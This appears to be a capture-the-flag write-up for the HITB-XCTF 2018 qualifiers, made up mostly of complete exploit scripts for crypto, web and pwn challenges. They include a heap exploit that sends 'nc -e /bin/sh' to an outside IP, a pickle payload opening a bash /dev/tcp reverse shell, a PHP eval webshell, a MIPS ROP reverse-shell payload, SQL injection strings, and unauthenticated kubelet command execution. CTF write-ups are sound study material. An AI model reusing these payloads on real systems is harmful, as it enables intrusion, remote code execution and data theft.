HITB-XCTF 2018 GSEC Online Qualifications Writeup
This writeup based on TokyoWestenrs Team (1st Place)
- easy_block (Crypto)
- baby_pub (Crypto)
- easy_pub (Crypto)
- base (Crypto)
- streamgamex (Crypto)
- 3pigs
- upload (Web)
- PHP lover (Web)
- Baby baby (Web)
- Python’s revenge (Web)
- Baby FS (Web)
- Baby Nya (Web)
- gheart (Pwn)
- H-Link (Pwn)
- gundam (Pwn)
- once (Pwn)
- d (Pwn)
- babypwn (Pwn)
- mutepig (Pwn)
- moliboom (Reverse)
- hacku (Reverse)
- hex (Reverse)
- sbsun (Reverse)
- multicheck (Mobile)
- kivy simple (Reverse)
- pix (Misc)
- read file (Misc)
- tpyx (Misc)
- BOOM (Misc)
- simple_forensics
easy_block (Crypto)
- Because there is a decrpytion oracle, so I can encrypt any plain text with MAC Key if IV has flexibility.
- Verification of MAC uses last 32byte.Therefore the IV requires only last 1byte flexibility.
- Since there are no validation for unpad, unpad(“admin” + any 122chars + “{”) is “admin”.
require 'ctf' user = "admin" + ?a * 122 + '{' TCPSocket.open(*ARGV) do |s| s.echo = true s.expect('Please [r]egister or [l]ogin :>>') s.puts 'c' s.expect('username:>>') s.puts 'admin' target = s.gets.chomp target = [target].pack("H*") s.puts 'c' s.expect('username:>>') s.puts user + 'user' base = s.gets.chomp base = [base].pack("H*") + "\x10" * 16 s.expect('Please [r]egister or [l]ogin :>>') s.puts 'r' s.puts user s.expect(/Here is your cookie:\n/) cookie = [s.gets.chomp].pack("H*") cookie = cookie[0...-16] base_enc = cookie[0, 64] s.expect('Please [r]egister or [l]ogin :>>') s.puts 'l' tmp = cookie + '' base_enc[32, 16] = base_enc[32, 16] ^ base[32, 16] ^ (target[-15..-1] + "\1") tmp[0, 32] = base_enc[16, 32] s.puts tmp.unpack1("H*") base[16, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*") s.expect('Please [r]egister or [l]ogin :>>') s.puts 'l' tmp = cookie + '' base_enc[16, 16] = base_enc[16, 16] ^ base[16, 16] ^ (target[-31,16]) tmp[0, 32] = base_enc[0, 32] s.puts tmp.unpack1("H*") base[0, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*") # s.expect('Please [r]egister or [l]ogin :>>') s.puts 'l' tmp = cookie + '' base_enc[15, 1] = base_enc[15, 1] ^ base[15, 1] ^ (target[-32]) tmp[0, 64] = base_enc[0, 64] s.puts tmp.unpack1("H*") #base[0, 16] = [s.expect(/, '([0-9a-f]{32})/)[1]].pack("H*") # s.interactive! end
baby_pub (Crypto)
-
step1: zipCrypto known plain text attack
-
step2 reverse py2exe
python
from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5, AES from Crypto.Util.number import bytes_to_long, long_to_bytes from os import urandom bs = 16 def xor(x, y): return bytes(a ^ b for a, b in zip(x, y)) class Pubcipher(object): def __init__(self): self._rsa = RSA.generate(1024) self._pkcs = PKCS1_v1_5.new(self._rsa) def encrypt(self, msg): '''msg must be bytes''' return self._pkcs.encrypt(msg) def decrypt(self, ciphertext): return self._pkcs.decrypt(ciphertext, None) class Sycipher(object): def __init__(self): self.iv = urandom(AES.block_size) def _pad(self, s): return s + (AES.block_size - len(s) % AES.block_size) * bytes((AES.block_size - len(s) % AES.block_size, )) def _unpad(self, s): return s[0:-s[-1]] def encrypt(self, msg, key): self.cipher = AES.new(key, AES.MODE_OFB, self.iv) return self.cipher.encrypt(self._pad(msg)) def decrypt(self, msg, key): self.cipher = AES.new(key, AES.MODE_OFB, self.iv) return self._unpad(self.cipher.decrypt(msg)) def main(): with open('admin.key', 'rb') as f: admin_key = f.read(bs) print('Welc.') pub = Pubcipher() sy = Sycipher() print(pub._rsa.e) print(pub._rsa.n) while True: choice = input("[t]icke or [k]ey or [f]lag :>>") if not choice: break if choice[0] == 't': name = input('ur name:>>') if len(name) > 50: exit() name = bytes(name, 'ISO-8859-1') pw = input('ur 16bytes passwd:>>') if len(pw) != bs: exit() pw = bytes(pw, 'ISO-8859-1') tic = name + pw + urandom(bs) + admin_key try: tic = pub.encrypt(tic) except ValueError: print('Plz input again. Remove space plz.') continue print(tic.hex()) elif choice[0] == 'k': tmp_k = input('Input the key:>>') tmp_k = bytes.fromhex(tmp_k) if tmp_k != admin_key: exit() print(admin_key.hex()) elif choice[0] == 'f': name = input('ur name:>>') if len(name) > 50: exit() name = bytes(name, 'ISO-8859-1') pw = input('ur 16bytes passwd:>>') if len(pw) != bs: exit() pw = bytes(pw, 'ISO-8859-1') tic = input('ur ticket:>>') try: tic = bytes.fromhex(tic) except Exception: continue p = pub.decrypt(tic) try: _name = p[-4 * bs:-3 * bs] _pw = p[-3 * bs:-2 * bs] _admin_key = p[-bs:] seed = p[-2 * bs:-bs] if _name != name or _pw != pw or _admin_key != admin_key: raise ValueError except Exception: print('u input wrong passwd or username') continue key = xor(seed, pw) with open('attach.bin', 'rb') as f: flag = f.read() flag = sy.encrypt(flag, key) print(flag.hex()) else: exit() if __name__ == '__main__': main()
-
step3 PKCS#1 v1.5 decrypt oracle
Between 106th line-116th line:
try: _name = p[-4 * bs:-3 * bs] _pw = p[-3 * bs:-2 * bs] _admin_key = p[-bs:] seed = p[-2 * bs:-bs] if _name != name or _pw != pw or _admin_key != admin_key: raise ValueError except Exception: print('u input wrong passwd or username') continue
As the decrypt function for pkcs is initialize like this:
def decrypt(self, ciphertext): return self._pkcs.decrypt(ciphertext, None)
It won’t raise an error when PKCS detect some error for padding, decrypt function will just return None, and when it try to _name = p[-4 * bs:-3 * bs]
, an error will raise.
SO here is a decrypt oracle. We can leak the information about whether the first 2 bytes is ‘0002’. Actualle, it is an old attack. Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1
Why I choose this one? Because this paper. Real world never realize the danger from cryptography bug.
-
step4 get flag
easy_pub (Crypto)
# coding: ASCII-8BIT require 'ctf' include CTF::Math TCPSocket.open(*ARGV) do |s| s.echo = true s.gets e = s.gets.to_i fail if e != 65537 n = s.gets.to_i s.gets s.gets s.gets s.expect('>>') s.print "r\n" s.expect('>>') s.print "\1oge\n" msg = s.gets.to_i s.expect('>>') s.print "l\n" s.puts mod_pow(7, e, n) * msg % n s.puts 0 s.puts 0 s.expect(/b['"]/) d = s.gets.chomp[0..-2] p eval('"%s"' % d) r = eval('"%s"' % d).unpack1("H*").to_i(16) if r % 7 == 0 puts '!!!' end r /= 7 p '%x' % r p ["0%x" % (r)].pack("H*") puts ["0%x" % (r)].pack("H*") s.interactive! end
base (Crypto)
Best-first-search algorithm for prefix matching.
require 'socket' require 'expect' TARGET = '2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=' def diff(s, t) len = [s.size, t.size].min len.times do |i| return i if s[i] != t[i] end return len end queue = [['Xiaomo@FlappyPig'.unpack1("H*"), '2WjF4S3iL7tJvAtHCecd3hl74rnH3hUj']] TCPSocket.open('47.91.210.116', '9999') do |s| while queue.size > 0 queue.sort_by!{|a, b|-diff(b, TARGET)} cur, enc = queue.shift p [cur, diff(enc, TARGET)] if enc == TARGET puts 'FOUND %s' % cur exit -1 end next if enc.size > TARGET.size STDOUT.flush sleep 0.01 '0123456789abcdef'.unpack("C*").each do |c| nex = cur + c.chr s.puts nex s.expect(') => "') result = s.gets.chomp[0..-2] queue.push([nex, result]) end end end
$ nc 47.91.210.116 9999 Tips: "HITB{"+decrypt("2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=")+"}" Input: 5869616f6d6f40466c61707079506967 encrypt("5869616f6d6f40466c61707079506967") => "2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU=" U R RIGHT!!! FLAG IS: HITB{5869616f6d6f40466c61707079506967}
streamgamex (Crypto)
linear simultaneous equations
mask = 0b10110110110011010111001101011010101011011 N = 24 F = GF(2) R = [vector(F, N) for i in range(N)] for i in range(N): R[i][i] = 1 def lfsr(R,mask): lastbit = vector(F, N) for i in range(0, N): if mask >> i & 1: lastbit += R[i] output = [lastbit] + R[0:N-1] return (output,lastbit) b = '' with open('key', 'rb') as f: b = f.read() M = Matrix(F, len(b) * 8, N) vec = vector(F, len(b) * 8) row = 0 for i in range(len(b)): t = ord(b[i]) for j in xrange(7, -1, -1): vec[row] = t >> j & 1 (R, out) = lfsr(R, mask) M[row] = out row += 1 print rank(M) print ''.join(map(str, list(M.solve_right(vec))[::-1]))
optirun ./hashcat64.bin -a 3 -m 1400 b2dcba51efd4a7d6157c956884a15934cb3edd3d2c1026830afa8db4ec108b58 -1 '01' 'flag{?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1}'
3pigs
web
the part of web is very easy , you can bypass secret
by using of python-format
:
+: x.__add__(y) <==> x+y *: x.__mul__(n) <==> x*n "".__doc__: ()''= - > \n . , "".__gt__.__doc__: > () = _ . "".__lt__.__doc__: < "".__add__.__doc__: + "".__subclasshook__.__doc__ :ABCFNIO "".__mod__.__doc__: % "".__new__.__doc__ : T S "".__getslice__.__doc__: U U {0.__getslice__.__doc__[56]} O {0.__subclasshook__.__doc__[234]} T {0.__new__.__doc__[0]} p {0.__doc__[49]} % {0.__mod__.__doc__[19]} I {0.__doc__[77]} < {0.__delattr__.__doc__[22]} S {.__sizeof__.__doc__[0]} => UOTp%I<S {0.__getslice__.__doc__[56]}{0.__subclasshook__.__doc__[234]}{0.__new__.__doc__[0]}{0.__doc__[49]}{0.__mod__.__doc__[19]}{0.__doc__[77]}{0.__delattr__.__doc__[22]}{0.__sizeof__.__doc__[0]}
pwn
the part of pwn is easy,too , there is only one point that you should try to find the way how to make the size of top smaller:
catchpig(0,"0"*0xc8) # top smaller 1 catchpig(1,"0"*0xc8) # top smaller 2 catchpig(2) # bypass glibc check freepig(2) freepig(1) freepig(0)
By using these steps, we can make the size of top become 0x80, then we create new pig and it will becomes a unsorted bin(0x60), which we can exploit it by house of orange
exp
#!/usr/bin/env python # encoding: utf-8 import requests import sys import re from pwn import * from md5 import getvcode url = "http://47.75.153.218:9999" libc = ELF("./libc.so.6.ctf") r = requests.session() c = r.get("%s/login.php"%url).content v = re.findall("md5\(\?\)\[:4\] = (\w{4})",c)[0] vc = getvcode(v) logindata = { 'username': 'admin', 'vcode': vc } def Post(u,d): c = r.post(u,data=d).text print c if 'Success' not in c: sys.exit() Post("%s/login.php"%url,logindata) def catchpig(id,data): u = "%s/addpig.php" % url data = { "id": id, "content": data.encode("base64") } Post(u,data) def freepig(id): u = "%s/freepig.php" %url data = { "id": id } Post(u,data) def listpig(): u = "%s/index.php" % url con = r.get(u).content return con def catchgold(): u = "%s/flypig.php" % url secret = "{0.__getslice__.__doc__[56]}{0.__subclasshook__.__doc__[234]}{0.__new__.__doc__[0]}{0.__doc__[49]}{0.__mod__.__doc__[19]}{0.__doc__[77]}{0.__delattr__.__doc__[22]}{0.__sizeof__.__doc__[0]}" data = { "secret": secret.encode("base64") } Post(u,data) def usegold(data): u = "%s/flypig.php" % url data = { "secret": data.encode("base64") } Post(u,data) def leak(): global io_list_all, libc_addr catchpig(0,"0") catchpig(1,"1") freepig(0) catchpig(2,"2") ret = listpig() tmp = ret.split("Small Li")[1].split("</strong>")[0].strip() print tmp tmp = tmp.split("\\x") print [tmp] addr = '' for i in tmp: if len(i)==1: addr += i else: try: addr += chr(int(i[:2],16)) if len(i)>2: addr += i[2:] except: addr += i addr = addr.ljust(8,'\x00') addr = u64(addr) usbin_addr = addr io_list_all = usbin_addr + 0x9a8 libc_addr = (addr & 0xfffffffff000) - 0x3c1000 freepig(1) freepig(2) def cleantop(): #tmp = (binsh_addr-100)/2 catchpig(0,"0"*0xb8) catchpig(1,"\x00"*0x60 + p64(0xfffffffffffffffe) + p64(0)*3 + p64(2) + p64(3) + p64(0) + p64(binsh_addr) + "\x00"*0x18) catchpig(2,"\x00"*0x50 + p64(0xffffffffffffffff) + p64(0)*2 + p64(io_str_jumps-8) + p64(0) + p64(system_addr)) freepig(1) freepig(2) freepig(0) def cleantop2(): catchpig(0,"0"*0xb8) catchpig(2,"2") freepig(0) freepig(2) catchpig(1,"4") catchgold() catchpig(2,"5") freepig(2) freepig(1) usegold(p64(0) + p64(io_list_all-0x10)[:-1]) catchpig("1"+"\n" + "\x00"*13+" nc -e /bin/sh 23.105.201.24 55",'2') #for i in xrange(10): # catchpig(1,"echo 1 > /tmp/123\n") if __name__=='__main__': leak() system_addr = libc_addr + libc.symbols['system'] io_str_jumps = libc_addr + libc.symbols['_IO_file_jumps'] + 0xc0 binsh_addr = libc_addr + libc.search("/bin/sh").next() log.success("io_addr: %s"%(hex(io_list_all))) log.success("system_addr: %s"%(hex(system_addr))) log.success("binsh_addr: %s"%(hex(binsh_addr))) log.success("strjump_addr: %s"%(hex(io_str_jumps))) raw_input("system") for i in xrange(112): cleantop() print i #cleantop() cleantop2()
upload (Web)
Remove server uses Windows.
$ curl http://47.90.97.18:9999/pic.php -v * Trying 47.90.97.18... * TCP_NODELAY set * Connected to 47.90.97.18 (47.90.97.18) port 9999 (#0) > GET /pic.php HTTP/1.1 > Host: 47.90.97.18:9999 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Content-Type: text/html; charset=UTF-8 < Server: Microsoft-IIS/7.0 < X-Powered-By: PHP/5.6.35 < Date: Thu, 12 Apr 2018 03:13:05 GMT < Content-Length: 11 < * Connection #0 to host 47.90.97.18 left intact image error%
- upload.php doesn’t accept .php file but it accepts
.PHP
. It is same on Windows. /upload
directory is dummy.- PHP on Windows have strange behavior of File name with
<
. I can use it for one by one char search for directory name.
We upload the file 1523501227.png
s = '' while true ff = false t = '0123456789abcdef'.unpack("C*") t.each do |i| next if i == 0x3e || i == 0x3c r = `curl -s http://47.90.97.18:9999/pic.php?filename=../#{s}%#{'%02x' % i}%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e/1523501227.png` unless r.include?('error') puts r puts i s += i.chr p s ff = true break end p [i, r] end unless ff puts 'NF' puts s exit -1 end end
exploit.php
<?php echo '"HELLO!!\n"'; eval($_GET["hello"]);
$ curl 'http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523502390.PHP?hello=var_dump(glob("../*"));' "HELLO!!\n"array(9) { [0]=> string(35) "../87194f13726af7cee27ba2cfe97b60df" [1]=> string(8) "../admin" [2]=> string(11) "../flag.php" [3]=> string(13) "../index.html" [4]=> string(10) "../pic.php" [5]=> string(9) "../system" [6]=> string(9) "../upfile" [7]=> string(9) "../upload" [8]=> string(13) "../upload.php" } $ curl 'http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523502390.PHP?hello=var_dump(file_get_contents("../flag.php"));' "HELLO!!\n"string(73) "<?php echo "flag is here"; //HITB{e5f476c1e4c6dc66278db95f0b5a228a} ?>"
PHP lover (Web)
- First, I made the avatar error state.
- User name with 300 length caused overflow of the filename of avater. Then we could use report function.
- User’s email can be “'hogehoge”@hoge.cc, and there are second query injection in report function
- There is another filter but it can be bypassed with comment such asselect 1 from/**/user.
- Captcha is reuseable.
require 'cgi' require 'shellwords' # user idの取得 # email = <<EOS # "',(select id from/**/users/**/where/**/nickname='piyomisaki'))#"@hoge.cc # EOS user_id = 10291 # email = <<EOS # "',''), (10291,(select group_concat(column_name)/**/from/**/information_schema.columns where table_schema=database() and table_name='fffflag_is_here'),765)#"@hoge.cc # EOS email = <<EOS "',''), (10291,(select fllllag_is_hhhhere/**/from fffflag_is_here),765)#"@hoge.cc EOS email = email.strip File.binwrite('email', email) system 'curl http://47.52.149.205:9999/index.php/edit -c hoge.jar -b hoge.jar -F nickname=piyomisaki -F "email=<email" -F "code=fwaf" -F "submit=submit" -s' puts system 'curl http://47.52.149.205:9999/index.php/export -b hoge.jar -s | grep "Your last report used"' system 'curl http://47.52.149.205:9999/index.php/export -b hoge.jar -s | grep "Your last report used"'
Baby baby (Web)
At first there is strange service on port 5000, 9999 and 10250.
~$ nmap -sV 47.75.146.42 -p- ... 80/tcp open http nginx 1.12.2 5000/tcp open ssl/http Docker Registry (API: 2.0) 9999/tcp open http nginx 1.12.2 10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) ...
5000/tcp was Docker Registry service and got list of containers but this was closed soon.
9999/tcp was nginx same as 80/tcp, but php was disabled so I could get php with backdoor. (actually this was fake)
10250/tcp was kubelet service and I could get the access to the container with following request.
curl -vvv -k https://47.75.146.42:10250/runningpods/ # get list of running pods => namespace: esn-system, podname: web-test-4092782360-035qx, container: web-test curl -vvv -k https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d cmd="ls /" curl -vvv -k https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test -d cmd="cat /flag.txt"
Python’s revenge (Web)
secret
can be calculated by brute force and bypass filter with os.execlpe
.
import requests import string import random import itertools import hashlib import cPickle import base64 import os url = "http://47.75.151.118:9999/" def get_location(s): sess = requests.session() sess.post(url+'reminder', data={'reminder': s}) location = sess.cookies['location'] return location def bf_secret(): return 'hitb' # 4/11 8:56 digest, location = get_location('a').split('!') chars = string.ascii_letters + string.digits c4 = [chars] * 4 for el in itertools.product(*c4): secret = ''.join(el) if hashlib.sha256(location+secret).hexdigest() == digest: return secret def make_location_cookie(location): secret = bf_secret() return hashlib.sha256(location+secret).hexdigest()+"!"+location if __name__ == '__main__': class RCE(object): def __reduce__(self): return (os.execlpe, ('bash', 'bash', '-c', "bash -i >& /dev/tcp/mydomain/10080 0>&1", None)) location = RCE() loc = base64.b64encode(cPickle.dumps(location)) cookie = make_location_cookie(loc) sess = requests.session() sess.cookies.set('location', cookie) req = sess.get(url) print req.text
flag was at /flag_is_here
.
Baby FS (Web)
The web application provides features to create a mountpoint and to list files of the mountpoint.
The first time we saw the problem, output of action=list
was (if I remember right):
params: path
available path:/data/i00x1k7gks 127.0.0.1(rw,all_squash), 8.8.8.8(ro,all_squash), 127.0.0.1(rw,all_squash)
It looks like /etc/exports
. And action=create
’s parameters were ip_range
, permission
, and squash
. These were very big hint. But after updating the problem twice, these hints are vanished
from the problem:
output of action=list
became
params: path
available path:/data/330xtkdrq0, /data/f1p22p2zh7, /data/gcxs5xp1zk,
and action=create
's parameters became ip
, permission
, squash
.
After many trials and errors, we found that ip
validator is broken: it accepts any 2 characters after / and %0a
before /
. So we created a mount point with ip=8.8.8.8%0a/%0a/
, then accessed to path=/
.
Flag was a filename in /
: HITB{---->}!}<0>cccc}
.
Baby Nya (Web)
nmap found Apache Jserv v1.3 on port 8009.
~$ nmap -sV 47.75.128.216 -p-
...
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
..
writing ajp client is tiresome process, I reused proxy_ajp
of mod_jk
.
~$ sudo apt install libapache2-mod-jk
~$ sudo a2enmod proxy_ajp
~$ cat /etc/apache2/sites-enabled/ajp.conf
ProxyRequests Off
ProxyPass / ajp://47.75.128.216:8009/
ProxyPassReverse / ajp://47.75.128.216:8009/
The hint says “the tomcat deployed jolokia.war”. I found useful post about jolokia exploitation: https://www.anquanke.com/post/id/103016
Created new user with role manager-gui
.
~$ curl -vvv -H 'Content-Type: application/json' localhost:8080/jolokia/ --data '{"type":"EXEC","mbean":"Users:database=UserDatabase,type=UserDatabase","operation":"createUser","arguments":["hoge1234","hoge1234",""]}' ~$ curl -vvv -H 'Content-Type: application/json' localhost:8080/jolokia/ --data '{"type":"EXEC","mbean":"Users:database=UserDatabase,type=User,username=\"hoge1234\"","operation":"addRole","arguments":["manager-gui"]}'
accessing /manager/html
with the credentials, I got flag.
gheart (Pwn)
From scryptos
The binary has 5 menus:
- sign in
- To signin, we are required to solve an easy Proof of Work
- show my heart
- This feature shows us 3 types of hex numbers
- my encrypted secret: encrypted flag
- my heart: RSA public key (n, e)
- This feature shows us 3 types of hex numbers
- show your heart
- This feature leaks the higher bits of RSA private key § when we choose a large number as “size or your heart”
- sign out
- exit
These are the parameters I’ve collected from the remote server:
higher bits of p: c68de09c8550f90cad2dcd7697d514286203e93baf328717ba208a3fc5db476379e7b75e43c117b417b9c140e3da4bc3c4005934456c813198f352cec6fb1b27fa0a081b990ab9bb
e: 3
n: 877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D
cipher text: 1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2
… and the flag gets padded like this before encrypting:
assert(len(secret) == 46) m = ("0" + secret.encode("hex") + "6" * 163).decode("hex")
I passed all informations I’ve got to my team’s crypto guy. (Because I’m not good at crypto ????)
He used SageMath to decrypt the flag.
n = int("877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D", 16) c = int("1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2", 16) F = Zmod(n) PR.<x> = PolynomialRing(F) x0 = (((2^4)^163 * x + int('6' * 163, 16))^3 - c).monic().small_roots(X=2^(8*46))[0] hex(ZZ(x0)).decode('hex') # => 'flag{flappypig_c00l_and_wec0me_your_coming_1!}'
flag: flag{flappypig_c00l_and_wec0me_your_coming_1!}
H-Link (Pwn)
From scryptos
This CGI has 2 features, SysInfo and Echo.
SysInfo simply executes pmap ${self_pid}
.
By calling SysInfo several times, I realized that the remote server has no ASLR.
$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1' -H 'SoapAction: #SysInfo' * Trying 47.75.186.245... * Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0) > GET /cgi-bin/soap.cgi?local=1 HTTP/1.1 > Host: 47.75.186.245:9999 > User-Agent: curl/7.47.0 > Accept: */* > SoapAction: #SysInfo > < HTTP/1.1 200 OK < Date: Fri Apr 13 05:19:02 2018 < Content-Length: 829 < Connection: keep-alive < X-Frame-Options: SAMEORIGIN < Pragma: no-cache < Cache-Control: no-cache < Content-Type: text/plain < 2381: /ctf/goahead_home/www/cgi-bin/soap.cgi 00400000 8K r-x-- /ctf/goahead_home/www/cgi-bin/soap.cgi 00411000 4K rw--- /ctf/goahead_home/www/cgi-bin/soap.cgi 00412000 132K rwx-- [ anon ] 77e28000 64K rw--- [ anon ] 77e38000 1464K r-x-- /lib/mips-linux-gnu/libc-2.13.so 77fa6000 64K ----- /lib/mips-linux-gnu/libc-2.13.so 77fb6000 36K r---- /lib/mips-linux-gnu/libc-2.13.so 77fbf000 8K rw--- /lib/mips-linux-gnu/libc-2.13.so 77fc1000 12K rw--- [ anon ] 77fc4000 140K r-x-- /lib/mips-linux-gnu/ld-2.13.so 77fef000 8K rw--- [ anon ] 77ff5000 4K rw--- [ anon ] 77ff6000 4K r---- /lib/mips-linux-gnu/ld-2.13.so 77ff7000 4K rw--- /lib/mips-linux-gnu/ld-2.13.so 7ffd6000 132K rwx-- [ stack ] 7fff7000 4K r-x-- [ anon ] total 2088K
Echo feature echoes the string given via “message” parameter.
$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1&message=114514' -H "SoapAction: #Echo" * Trying 47.75.186.245... * Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0) > GET /cgi-bin/soap.cgi?local=1&message=114514 HTTP/1.1 > Host: 47.75.186.245:9999 > User-Agent: curl/7.47.0 > Accept: */* > SoapAction: #Echo > < HTTP/1.1 200 OK < Date: Fri Apr 13 05:24:33 2018 < Content-Length: 6 < Connection: keep-alive < X-Frame-Options: SAMEORIGIN < Pragma: no-cache < Cache-Control: no-cache < Content-Type: text/plain < * Connection #0 to host 47.75.186.245 left intact 114514
The Echo feature calls strcpy
without checking the length of “message” parameter.
This leads to stack buffer overflow.
Since “message” parameter is given via query string, we have to build our payload without using null-bytes, whitespaces, and ampersands.
This is not a big problem because libc is given and ASLR is disabled on remote server.
Exploit:
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "47.75.186.245" port = 9999 else host = "localhost" port = 54321 end def tube @tube end reverse_shell_host = "REDACTED"; reverse_shell_port = 31337; cmd = "bash${IFS}-c${IFS}'bash</dev/tcp/#{reverse_shell_host}/#{reverse_shell_port}';" libc_base = 0x77e38000 fake_fp = 0x7fff6b48 payload = "" payload << "A" * 0x84 payload << [fake_fp].pack("L>") # fp payload << [libc_base + 0x11afa8].pack("L>") # ra (set s1) payload << "B" * 24 payload << "B" * 4 # s0 payload << [libc_base + 0x41da0].pack("L>") # s1 = system payload << [fake_fp].pack("L>") # fp payload << [libc_base + 0xe5170].pack("L>") # ra (call system) payload << "A" * 64 if cmd.length % 4 != 0 cmd << "_" * (4 - cmd.length % 4) end payload << cmd raise if payload =~ /[\0\s&]/ PwnTube.open(host, port){|t| @tube = t a = "" a << "GET /cgi-bin/soap.cgi?local=1&message=#{payload} HTTP/1.1\r\n" a << "Host: 47.75.186.245:9999\r\n" a << "SoapAction: #Echo\r\n\r\n" tube.send(a) tube.interactive }
flag: HITB{fdfbf27aaf678a3785df6d343f3309e1}
gundam (Pwn)
#!/usr/bin/env python from sc_expwn import * # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py bin_file = './gundam' libc_file = './libc.so.6' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' #========== env = Environment('local', 'remote') env.set_item('mode', local = 'SOCKET', remote = 'SOCKET') env.set_item('target', local = {'host':'localhost', 'port':8080}, \ remote = {'host':'47.75.37.114', 'port':9999}) env.select() #========== binf = ELF(bin_file) libc = ELF(libc_file) offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 #========== def attack(conn): gd = Gundam(conn) gd.build('0', 0) # 0 gd.build('1', 0) # 1 for _ in range(7): gd.destroy(0) gd.build('\x90', 0) # 2 addr_heap_base = u(gd.visit()[1][11:].split('Type')[0]) - 0x290 info('addr_heap_base = 0x{:08x}'.format(addr_heap_base)) for _ in range(2): gd.destroy(0) gd.blow() gd.build('\x78', 0) # 0 addr_libc_mainarena = u(gd.visit()[0][11:].split('Type')[0]) - 0x58 libc.address = addr_libc_mainarena - offset_libc_mainarena addr_libc_free_hook = libc.symbols['__free_hook'] addr_libc_system = libc.sep_function['system'] info('addr_libc_base = 0x{:08x}'.format(libc.address)) gd.build('\x00', 0) # 3 for _ in range(2): gd.destroy(1) gd.build(p64(addr_libc_free_hook), 0) # 4 gd.build('/bin/sh', 0) # 5 gd.build(p64(addr_libc_system), 0) # 6 gd.destroy(5) class Gundam: def __init__(self, conn): self.recvuntil = conn.recvuntil self.recv = conn.recv self.sendline = conn.sendline self.send = conn.send self.sendlineafter = conn.sendlineafter self.sendafter = conn.sendafter def build(self, name, type): self.sendlineafter('choice : ', '1') self.sendafter('gundam :', name) self.sendlineafter('gundam :', str(type)) def visit(self): self.sendlineafter('choice : ', '2') return self.recvuntil('1 . Build a gundam')[1:].split('\n\n')[0:-1] def destroy(self, index): self.sendlineafter('choice : ', '3') self.sendlineafter('Destory:', str(index)) def blow(self): self.sendlineafter('choice : ', '4') #========== if __name__=='__main__': conn = communicate(env.mode, **env.target) attack(conn) 